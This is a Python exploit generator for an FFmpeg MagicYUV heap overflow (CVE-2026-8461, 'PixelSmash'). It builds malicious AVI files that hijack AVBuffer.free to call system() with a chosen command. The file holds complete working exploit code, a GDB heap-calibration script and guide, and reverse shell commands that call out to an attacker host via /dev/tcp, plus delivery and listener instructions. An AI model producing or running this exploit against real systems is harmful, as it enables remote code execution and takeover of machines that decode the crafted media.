#!/usr/bin/env python3 """ CVE-2026-8461 (PixelSmash) — Full RCE Exploit Generator ========================================================= Implements the complete exploit chain: OOB Write → AVBuffer.free hijack → system() → arbitrary command execution ARCHITECTURE: This exploit turns a heap OOB write in FFmpeg's MagicYUV decoder into arbitrary code execution by surgically overwriting the AVBuffer struct that sits adjacent to the chroma plane buffer on glibc's heap. The key technique is LEFT-PREDICTION ENCODING: MagicYUV's decoder applies cumulative-sum prediction to raw pixel data. We must apply the INVERSE transform to our payload bytes so that after prediction, the desired values land at the correct heap locations. PREREQUISITES (for RCE): 1. ASLR disabled (setarch x86_64 -R) — required for hardcoded addresses 2. glibc malloc (jemalloc breaks the heap layout) 3. Calibrated heap offsets for the target ffmpeg build + file path length 4. Vulnerable FFmpeg (without fix commits) USAGE: # 1. Calibration (on target machine with GDB): python exploit_cve_2026_8461.py --calibrate > calibrate.gdb gdb -q -x calibrate.gdb --args ffmpeg -i test.avi -f null - # Parse the GDB output to get heap layout # 2. Generate exploit (with calibration): python exploit_cve_2026_8461.py --system 0x7f... --cmd "bash -c '...'" --cb-avbuffer-off 256 --cr-topchunk-off 128 [--output exploit.avi] # 3. Deliver to target: ffmpeg -i exploit.avi -f null - # OOB write → RCE REFERENCE: https://jfrog.com/blog/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons/ """ import struct import sys import os import argparse import json from dataclasses import dataclass, field from typing import Dict, List, Optional, Tuple # ================================================================ # Frame geometry — must match the calibration target # ================================================================ WIDTH = 1280 # coded_width → chroma_width = 640 HEIGHT = 32 # coded_height → chroma_height allocated = 16 rows SLICE_HEIGHT = 31 # odd → AV_CEIL_RSHIFT(31,1)=16 → 2 slices × 16 = 32 chroma rows SLICE_WIDTH = 1280 # must equal WIDTH FPS = 25 FORMAT_YUV420P = 0x69 PLANES = 3 NB_SLICES = (HEIGHT + SLICE_HEIGHT - 1) // SLICE_HEIGHT # = 2 HSHIFT = [0, 1, 1] VSHIFT = [0, 1, 1] def p32(x): return struct.pack('> shift) # ================================================================ # Left-prediction encode/decode # ================================================================ def left_pred_encode(desired: bytes) -> bytes: """Inverse left-prediction: produce raw bytes that decode to `desired`. Decoder applies: dst[i] = sum(raw[0..i]) & 0xFF We need: raw[0] = desired[0] raw[i] = (desired[i] - desired[i-1]) & 0xFF """ raw = bytearray(len(desired)) raw[0] = desired[0] for i in range(1, len(desired)): raw[i] = (desired[i] - desired[i-1]) & 0xFF return bytes(raw) def left_pred_decode(raw: bytes) -> bytes: """Apply left-prediction (for verification).""" decoded = bytearray(len(raw)) acc = 0 for i, b in enumerate(raw): acc = (acc + b) & 0xFF decoded[i] = acc return bytes(decoded) # ================================================================ # Calibration data # ================================================================ @dataclass class TargetCalibration: """Heap layout calibration for a specific target. All offsets are relative to the start of the OOB write region (i.e., one byte past the end of the Cb chroma plane buffer). """ # Target libc function addresses (ASLR disabled) system_addr: int = 0x4141414141414141 # address of system() in libc # Payload layout: OOB region byte offsets cmd_at: int = 0 # offset where shell command string starts in OOB region cmd_maxlen: int = 88 # available bytes for NUL-terminated command # AVBuffer struct location (relative to OOB start) avbuffer_at: int = 256 # offset to AVBuffer for Cb plane # AVBuffer field offsets (within AVBuffer struct) avb_refcount_off: int = 16 # atomic_uint refcount avb_free_off: int = 24 # void (*free)(void*, uint8_t*) avb_opaque_off: int = 32 # void *opaque avb_flags_off: int = 40 # int flags # Heap addresses (ASLR disabled, known from calibration) cmd_heap_addr: int = 0x4242424242424242 # heap addr of command string (OOB+cmd_at) # Glibc chunk metadata that must be preserved # Key: absolute offset in OOB region → bytes to preserve (16-byte chunk headers) glibc_metadata: Dict[int, bytes] = field(default_factory=dict) # Cr plane OOB metadata to preserve cr_metadata: Dict[int, bytes] = field(default_factory=dict) # Additional data that must be preserved verbatim preserve: Dict[int, bytes] = field(default_factory=dict) def to_dict(self) -> dict: return { 'system_addr': hex(self.system_addr), 'cmd_at': self.cmd_at, 'cmd_maxlen': self.cmd_maxlen, 'avbuffer_at': self.avbuffer_at, 'avb_refcount_off': self.avb_refcount_off, 'avb_free_off': self.avb_free_off, 'avb_opaque_off': self.avb_opaque_off, 'cmd_heap_addr': hex(self.cmd_heap_addr), 'glibc_metadata': {hex(k): v.hex() for k, v in self.glibc_metadata.items()}, 'cr_metadata': {hex(k): v.hex() for k, v in self.cr_metadata.items()}, 'preserve': {hex(k): v.hex() for k, v in self.preserve.items()}, } @classmethod def from_dict(cls, d: dict) -> 'TargetCalibration': return cls( system_addr=int(d['system_addr'], 16), cmd_at=d.get('cmd_at', 0), cmd_maxlen=d.get('cmd_maxlen', 88), avbuffer_at=d.get('avbuffer_at', 256), avb_refcount_off=d.get('avb_refcount_off', 16), avb_free_off=d.get('avb_free_off', 24), avb_opaque_off=d.get('avb_opaque_off', 32), cmd_heap_addr=int(d.get('cmd_heap_addr', '0x4242424242424242'), 16), glibc_metadata={int(k, 16): bytes.fromhex(v) for k, v in d.get('glibc_metadata', {}).items()}, cr_metadata={int(k, 16): bytes.fromhex(v) for k, v in d.get('cr_metadata', {}).items()}, preserve={int(k, 16): bytes.fromhex(v) for k, v in d.get('preserve', {}).items()}, ) # ================================================================ # OOB Payload builder # ================================================================ def build_cb_oob_payload(cal: TargetCalibration, shell_cmd: str) -> bytearray: """Build the 640-byte OOB payload for the Cb chroma plane. This payload is written past the Cb pixel buffer. It must: 1. Place the shell command in a zero-filled region 2. Preserve all glibc chunk metadata 3. Overwrite AVBuffer.free → system() 4. Overwrite AVBuffer.opaque → heap address of command string 5. Set AVBuffer.refcount → 1 (so decrement triggers free callback) """ chroma_width = ceil_rshift(WIDTH, 1) # 640 # Start with zeros as the "hole" baseline payload = bytearray(chroma_width) # 1. Place shell command at cmd_at (NUL-terminated) cmd_bytes = shell_cmd.encode('latin-1') + b'\x00' if len(cmd_bytes) > cal.cmd_maxlen: raise ValueError(f"Command too long: {len(cmd_bytes)} > {cal.cmd_maxlen}") payload[cal.cmd_at:cal.cmd_at + len(cmd_bytes)] = cmd_bytes # 2. Preserve glibc chunk metadata for off, data in cal.glibc_metadata.items(): if off + len(data) <= chroma_width: payload[off:off + len(data)] = data # 3. Overwrite AVBuffer fields avb = cal.avbuffer_at # AVBuffer.refcount → 1 (uint32) if avb + cal.avb_refcount_off + 4 <= chroma_width: struct.pack_into(' bytearray: """Build the OOB payload for the Cr chroma plane. The Cr plane OOB write lands on different heap region (typically tcache entries and the glibc top chunk). Must preserve top chunk metadata or system()'s internal malloc will fail. If no calibration data for Cr, fill with zeros (worst case: crash). """ chroma_width = ceil_rshift(WIDTH, 1) # 640 payload = bytearray(chroma_width) for off, data in cal.cr_metadata.items(): if off + len(data) <= chroma_width: payload[off:off + len(data)] = data return payload # ================================================================ # MagicYUV frame builder # ================================================================ def build_exploit_frame(cal: TargetCalibration, shell_cmd: str, num_frame: int = 0) -> bytes: """Build a single MagicYUV frame with the exploit payload. Frame structure: Slice 0 (in-bounds): zeroed chroma data (so acc=0 for prediction) Slice 1 (OOB): left-prediction-encoded exploit payload """ chroma_width = ceil_rshift(WIDTH, 1) # 640 # Build OOB payloads cb_payload = build_cb_oob_payload(cal, shell_cmd) cr_payload = build_cr_oob_payload(cal) # Apply INVERSE left-prediction so that after decoder's prediction, # the correct bytes land on the heap cb_raw = left_pred_encode(bytes(cb_payload)) cr_raw = left_pred_encode(bytes(cr_payload)) # Build Huffman table: all 256 symbols = 8-bit codes (valid, minimal, unused in raw mode) huff_table = b'' for _ in range(PLANES): huff_table += bytes([0x88, 0xFF]) # Per-plane per-slice dimensions # Plane 0 (Y): vshift=0, hshift=0 # Plane 1 (U/Cb): vshift=1, hshift=1 # Plane 2 (V/Cr): vshift=1, hshift=1 plane_configs = [ # (hshift, vshift, width, sheight) (0, 0, WIDTH, ceil_rshift(SLICE_HEIGHT, 0)), (1, 1, chroma_width, ceil_rshift(SLICE_HEIGHT, 1)), (1, 1, chroma_width, ceil_rshift(SLICE_HEIGHT, 1)), ] all_plane_slices = [] # [plane][slice] = bytes slice_sizes = [] # [plane][slice] = int for plane in range(PLANES): hshift, vshift, pw, psheight = plane_configs[plane] plane_slices = [] plane_sizes = [] for sl in range(NB_SLICES): remaining = HEIGHT - sl * SLICE_HEIGHT height = ceil_rshift(min(SLICE_HEIGHT, remaining), vshift) # flags=1 (raw), pred=1 (LEFT) header = bytes([1, 1]) if sl == 0: # In-bounds slice: zero all pixel data # This ensures left-prediction acc starts at 0 for the OOB slice raw_data = b'\x00' * (pw * height) elif plane == 0: # Y plane: in-bounds (vshift=0, no OOB for Y) raw_data = b'\x00' * (pw * height) elif plane == 1: # U/Cb plane: OOB slice! Use encoded payload raw_data = cb_raw[:pw * height] else: # V/Cr plane: OOB slice! Use encoded payload raw_data = cr_raw[:pw * height] slice_bytes = header + raw_data plane_slices.append(slice_bytes) plane_sizes.append(len(slice_bytes)) all_plane_slices.append(plane_slices) slice_sizes.append(plane_sizes) # Compute cumulative offsets in slice data region cum = 0 slice_offsets = [] # [plane][slice] = offset for plane in range(PLANES): po = [] for sl in range(NB_SLICES): po.append(cum) cum += slice_sizes[plane][sl] slice_offsets.append(po) # Concatenate all slice data all_slice_data = b'' for plane in range(PLANES): for sl in range(NB_SLICES): all_slice_data += all_plane_slices[plane][sl] # Assemble bitstream fixed_header_size = 36 offset_table_size = NB_SLICES * PLANES * 4 # 24 verif_size = 1 skip_size = NB_SLICES * PLANES # 6 huff_size = len(huff_table) # 6 header_size = (fixed_header_size + offset_table_size + verif_size + skip_size + huff_size) # Offset table offset_bytes = b'' for plane in range(PLANES): for sl in range(NB_SLICES): offset_bytes += p32(slice_offsets[plane][sl]) post_offset = bytes([PLANES]) + b'\x00' * skip_size # Fixed header (36 bytes) header_part = bytearray() header_part += b'MAGY' header_part += p32(header_size) header_part += bytes([7]) # version = 7 header_part += bytes([FORMAT_YUV420P]) # format header_part += b'\x00' # skip header_part += b'\x00' # color_matrix header_part += b'\x00' # flags (bit 1 = 0 → not interlaced) header_part += b'\x00\x00\x00' # skip 3 header_part += p32(WIDTH) header_part += p32(HEIGHT) header_part += p32(SLICE_WIDTH) header_part += p32(SLICE_HEIGHT) # ← triggers OOB header_part += b'\x00\x00\x00\x00' # skip 4 assert len(header_part) == fixed_header_size frame = (bytes(header_part) + offset_bytes + post_offset + huff_table + all_slice_data) assert len(frame) == header_size + len(all_slice_data) return frame # ================================================================ # AVI container builder # ================================================================ def build_avi(frames: List[bytes]) -> bytes: """Wrap exploit frames in an AVI container.""" n = len(frames) fsz = len(frames[0]) # BITMAPINFOHEADER bmih = bytearray() bmih += p32(40) + p32(WIDTH) + p32(HEIGHT) bmih += p16(1) + p16(24) bmih += b'MAGY' + p32(fsz) + p32(0) * 4 # Stream header strh = bytearray() strh += b'vids' + b'MAGY' strh += p32(0) + p16(0) + p16(0) + p32(0) # flags, prio, lang, init_frames strh += p32(1) + p32(FPS) # scale, rate strh += p32(0) + p32(n) # start, length strh += p32(fsz) + p32(0xFFFFFFFF) + p32(0) # buf_size, quality, sample_size strh += p16(0) + p16(0) + p16(WIDTH) + p16(HEIGHT) # Main AVI header avih = bytearray() avih += p32(int(1000000 / FPS)) # usec_per_frame avih += p32(0) * 3 # max_bytes, padding, flags avih += p32(n) # total_frames avih += p32(0) + p32(1) # init_frames, streams avih += p32(fsz) # buf_size avih += p32(WIDTH) + p32(HEIGHT) avih += p32(0) * 4 def riff_chunk(fcc, data): c = fcc + p32(len(data)) + data if len(data) & 1: c += b'\x00' return c def list_chunk(fcc, lt, data): return riff_chunk(fcc, lt + data) # Build hierarchy strf_c = riff_chunk(b'strf', bytes(bmih)) strl_l = list_chunk(b'LIST', b'strl', riff_chunk(b'strh', bytes(strh)) + strf_c) hdrl_l = list_chunk(b'LIST', b'hdrl', riff_chunk(b'avih', bytes(avih)) + strl_l) # Movie data + index movi_data = b'' idx1 = b'' offset = 0 for f in frames: chunk = riff_chunk(b'00dc', f) idx1 += b'00dc' + p32(0x10) + p32(offset + 8) + p32(len(f)) movi_data += chunk offset += len(chunk) movi_l = list_chunk(b'LIST', b'movi', movi_data) idx1_c = riff_chunk(b'idx1', idx1) return riff_chunk(b'RIFF', b'AVI ' + hdrl_l + movi_l + idx1_c) # ================================================================ # GDB calibration script generator # ================================================================ GDB_CALIBRATE_SCRIPT = """\ # GDB calibration script for CVE-2026-8461 exploit # Run: gdb -q -x this_script.gdb --args ffmpeg -i POC_FILE -f null - # # This script captures the heap layout at the OOB write point to determine # exact offsets for glibc metadata and AVBuffer placement. set pagination off set confirm off # Set the path to the POC file (must match target file path length!) set $pocfile = "{poc_file}" # Breakpoint at the OOB write location # bytestream_get_buffer is called at magicyuv.c:293 for the raw-mode copy break bytestream_get_buffer condition 1 $_regex((char*)$rdi, ".*") # Alternative: break right before the OOB slice decode # Break at the start of magy_decode_slice, check if j==1 (second slice) break magy_decode_slice condition 2 $rdx == 1 commands 2 silent set $plane = $rcx printf "=== Slice %d Plane %d ===\\n", $rdx, $plane # For plane 1 (Cb), capture the heap layout if $plane == 1 set $cb_end = $rdi printf "Cb buffer end: %p\\n", $cb_end # Dump 640 bytes past buffer end x/160gx $cb_end end if $plane == 2 set $cr_end = $rdi printf "Cr buffer end: %p\\n", $cr_end x/160gx $cr_end end continue end # Also break before av_buffer_unref to confirm overwrite worked break av_buffer_unref commands 3 silent printf "=== av_buffer_unref called ===\\n" printf "buf->data: %p\\n", ((AVBuffer*)$rdi)->data printf "buf->free: %p\\n", ((AVBuffer*)$rdi)->free printf "buf->opaque: %p\\n", ((AVBuffer*)$rdi)->opaque printf "buf->refcount: %d\\n", ((AVBuffer*)$rdi)->refcount continue end run quit """ def print_calibrate_help(): print(""" === GDB Heap Calibration Procedure === 1. BUILD A BASELINE POC: python exploit_cve_2026_8461.py --baseline -o baseline.avi 2. ON THE TARGET (Linux with ASLR disabled): # Break before the OOB write to dump heap layout gdb -q --args ffmpeg -i baseline.avi -f null - (gdb) break magy_decode_slice if j == 1 (gdb) run # When breakpoint hits for Cb plane (plane == 1): (gdb) info registers rdi # $rdi points to the current write destination (OOB start) (gdb) x/80gx $rdi-0x100 # This shows the heap from 256 bytes before OOB start 3. IDENTIFY KEY STRUCTURES: Look for the AVBuffer struct in the heap dump: - AVBuffer.data: pointer to a heap address (the Cb plane data) - AVBuffer.size: small value like 0x2000-0x3000 - AVBuffer.refcount: usually 1 - AVBuffer.free: function pointer (points into libavutil.so) The AVBuffer is typically 256 bytes past the Cb plane end. Record its offset relative to OOB start. 4. FIND glibc METADATA: glibc malloc_chunk headers are 16 bytes: [prev_size:8][size:8] Size's low bit = PREV_INUSE flag. Record the EXACT bytes and offsets of all chunk headers in the OOB range. 5. FIND system() ADDRESS: (gdb) print system Record &system (e.g., 0x7ffff7a5d290) 6. CREATE CALIBRATION FILE (calibration.json): { "system_addr": "0x7ffff7a5d290", "cmd_at": 0, "cmd_maxlen": 88, "avbuffer_at": 256, "avb_refcount_off": 16, "avb_free_off": 24, "avb_opaque_off": 32, "cmd_heap_addr": "0x5555555XXXXX", "glibc_metadata": { "0x58": "hex bytes of chunk header at OOB+0x58", "0xf8": "hex bytes of chunk header at OOB+0xf8" }, "cr_metadata": { "0x20": "hex bytes of tcache entry", "0x30": "hex bytes of top chunk header" } } 7. GENERATE EXPLOIT: python exploit_cve_2026_8461.py --calibration calibration.json --cmd "bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'" -o exploit.avi """) # ================================================================ # Main # ================================================================ def main(): parser = argparse.ArgumentParser( description='CVE-2026-8461 (PixelSmash) RCE Exploit Generator', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Generate baseline POC (OOB write only, no payload) %(prog)s --baseline -o baseline.avi # Generate RCE exploit with calibration %(prog)s --calibration calib.json \\ --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \\ -o exploit.avi # Quick RCE with inline parameters (ASLR must be disabled) %(prog)s --system 0x7ffff7a5d290 --cmd-heap 0x555555560000 \\ --cmd "id > /tmp/pwned" -o exploit.avi # Print calibration guide %(prog)s --calibrate """) # Output parser.add_argument('-o', '--output', default='exploit_cve_2026_8461.avi') # Calibration parser.add_argument('--calibration', '-c', help='JSON calibration file') parser.add_argument('--calibrate', action='store_true', help='Print GDB calibration guide') # Inline calibration overrides parser.add_argument('--system', help='Address of system() in libc') parser.add_argument('--cmd-heap', help='Heap address of command string') parser.add_argument('--avbuffer-off', type=int, default=256, help='Offset to AVBuffer from OOB start (default: 256)') # Payload parser.add_argument('--cmd', default='id > /dev/stderr', help='Shell command to execute (default: "id > /dev/stderr")') parser.add_argument('--frames', type=int, default=1, help='Number of frames (each triggers RCE independently)') # Baseline mode parser.add_argument('--baseline', action='store_true', help='Generate baseline POC (OOB write only, no RCE payload)') args = parser.parse_args() # Calibration guide if args.calibrate: print_calibrate_help() return # Baseline mode if args.baseline: print("[*] Generating baseline OOB-write POC (no RCE payload)") cal = TargetCalibration() # dummy shell_cmd = 'BASELINE' elif args.calibration: with open(args.calibration) as f: cal = TargetCalibration.from_dict(json.load(f)) shell_cmd = args.cmd else: # Build calibration from CLI args cal = TargetCalibration() if args.system: cal.system_addr = int(args.system, 16) if args.cmd_heap: cal.cmd_heap_addr = int(args.cmd_heap, 16) cal.avbuffer_at = args.avbuffer_off shell_cmd = args.cmd print("[!] Using inline calibration parameters") print(f" system() = {hex(cal.system_addr)}") print(f" cmd_heap = {hex(cal.cmd_heap_addr)}") print(f" avbuffer_at = {cal.avbuffer_at}") print("[!] Ensure ASLR is disabled and glibc metadata is preserved") if not args.calibration: print("[!] WARNING: No glibc metadata calibration provided!") print("[!] The exploit will likely crash before RCE without proper calibration.") print("[!] Use --calibrate for instructions or --calibration with a JSON file.") # Build frames print(f"[*] Building {args.frames} exploit frame(s)...") frames = [] for i in range(args.frames): frame = build_exploit_frame(cal, shell_cmd, num_frame=i) frames.append(frame) # Wrap in AVI avi = build_avi(frames) dur = args.frames / FPS print(f"[*] Frame size: {len(frames[0])} bytes") print(f"[*] AVI size: {len(avi)} bytes ({len(avi)/1024:.1f} KB)") print(f"[*] Duration: {dur:.2f}s ({args.frames} frames @ {FPS} fps)") print(f"[*] Command: {shell_cmd}") with open(args.output, 'wb') as f: f.write(avi) print(f"[+] Exploit written: {args.output}") print() print("Delivery:") print(f" ffmpeg -i {args.output} -f null -") print() if args.baseline: print("Baseline mode: OOB write fires but no AVBuffer hijack.") print("Expected: heap-buffer-overflow (ASAN) / crash / silent corruption") else: print("RCE mode: AVBuffer.free → system(cmd) on frame cleanup.") print("Expected: shell command executes, then process crashes.") print("Monitor: nc -l (for reverse shell payloads)") if __name__ == '__main__': main()